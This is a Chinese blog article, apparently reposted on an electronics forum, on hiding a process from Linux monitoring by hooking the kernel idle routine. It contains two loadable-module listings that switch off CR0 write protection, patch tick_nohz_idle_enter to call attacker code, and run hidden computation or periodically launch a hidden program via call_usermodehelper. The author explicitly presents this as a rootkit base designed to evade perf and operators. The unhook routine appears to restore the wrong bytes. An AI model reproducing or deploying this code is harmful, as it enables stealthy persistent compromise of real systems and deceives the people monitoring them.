如何利用CPU隐藏一个进程

电子说

1.4w人已加入

描述

前面谈过如何隐藏一个进程,我说过,隐藏procfs接口那无异于掩耳盗铃,正确的做法应该是将task_struct从任何链表中摘除,仅仅保留于run queue。

但CPU利用率会暴露你隐藏的进程…

于是hook掉CPU记账接口…

但是…于是…

害怕被debug,封堵/dev/mem,/proc/kcore,封堵lkm,…

左右手互搏…目前防御手稍微占优势。

其实,还有一个好办法,即劫持idle,这样我们甚至可以不用管CPU记账程序, idle多当然好啊,运维们不正期望idle多吗?idle多没人会去perf的吧…

测试代码如下:

#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》

char *stub;char *addr = NULL;static unsigned long base = 0;

void test_stub1(void){ unsigned long i;

local_bh_disable(); // 防止期间时钟中断记账到sys或者si。 local_irq_disable(); // 开始我们的计算任务。 for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx

”, base); } local_irq_enable(); local_bh_enable();

}

#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5

unsigned char *idle;

unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;

idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);

stub = (void *)test_stub1; addr = (void *)idle;

offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);

return 0;}

static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}

module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);

需要注意的是,计算任务不能睡眠,不能schedule,不能太太太繁重,以免被perf发现。其实,如果机器在机房,电源风扇的轰鸣是可以掩盖CPU风扇的,不过液冷的话就要另想办法了。

我们看下效果吧。我用虚拟机测试,下面左边是宿主机,右边是虚拟机,没有劫持idle时的CPU利用率如下:

接口

下面是劫持后的:

接口

虽然右边虚拟机的CPU依然几乎全部都是idle,和未劫持时没有差别,然而宿主机的能耗骗不了人。笔记本的风扇噪声在加大,以至于我不得不用Macs Fan Control将风扇转速调低,然而铝壳正在变得发烫。

哪个是真的,哪个是假的,假亦真时真亦假…

我倒是觉得,idle作为Rootkit的根据地还是非常不错,如果你想执行一些 真正的任务 ,那就call usermodehelper呗,只要确保这个helper完成任务及时退出就行。

#include 《linux/module.h》#include 《linux/kallsyms.h》#include 《linux/cpu.h》

char *stub;char *addr = NULL;static unsigned long base = 0;static unsigned long last = 0;

void test_stub1(void){ unsigned long i;#if 0 local_bh_disable(); local_irq_disable(); for (i = 0; i 《 0xfffffff; i++) { base += jiffies; } if (jiffies % 0xf == 0) { printk(“base is :%llx

”, base); } local_irq_enable(); local_bh_enable();#endif //if (jiffies % 1000 == 0 && last != jiffies) { if (jiffies - last 》= 1000) { // /root/run 程序一定不要太犹豫,做完就走。且该程序要以某种方式使readdir无法显示。 call_usermodehelper(“/root/run”, NULL, NULL, 0); last = jiffies; }}

#define FTRACE_SIZE 5#define POKE_OFFSET 0#define POKE_LENGTH 5

unsigned char *idle;

unsigned long cr0;static int __init hotfix_init(void){ unsigned char e8_call[POKE_LENGTH]; s32 offset, i;

idle = (void *)kallsyms_lookup_name(“tick_nohz_idle_enter”);

stub = (void *)test_stub1; addr = (void *)idle;

offset = (s32)((long)stub - (long)addr - FTRACE_SIZE);

e8_call[0] = 0xe8; (*(s32 *)(&e8_call[1])) = offset; for (i = 5; i 《 POKE_LENGTH; i++) { e8_call[i] = 0x90; } cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], e8_call, POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);

return 0;}

static void __exit hotfix_exit(void){ cr0 = read_cr0(); clear_bit(16, &cr0); memcpy(&addr[POKE_OFFSET], &stub[0], POKE_LENGTH); set_bit(16, &cr0); write_cr0(cr0);}

module_init(hotfix_init);module_exit(hotfix_exit);MODULE_LICENSE(“GPL”);

run的代码如下:

#include 《fcntl.h》int main(int argc, char **argv){ int fd = open(“/dev/pts/0”, O_RDWR); write(fd, “aaaaaaaaa

”, 10);}

效果就是在系统压力不大时,每隔大约1秒中在/dev/pts/0终端打印一串a。

如果run程序执行时间在作为human being的运维人员和经理的视角转瞬即逝的话,同时run又是一个隐藏文件的话,试问如何发现谁打出的a呢?

运维和经理打字敲回车以及他们的蛋白质眼睛无法分辨200ms以下的事件。
       责任编辑:pj

打开APP阅读更多精彩内容
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉

全部0条评论

快来发表一下你的评论吧 !

×
20
完善资料,
赚取积分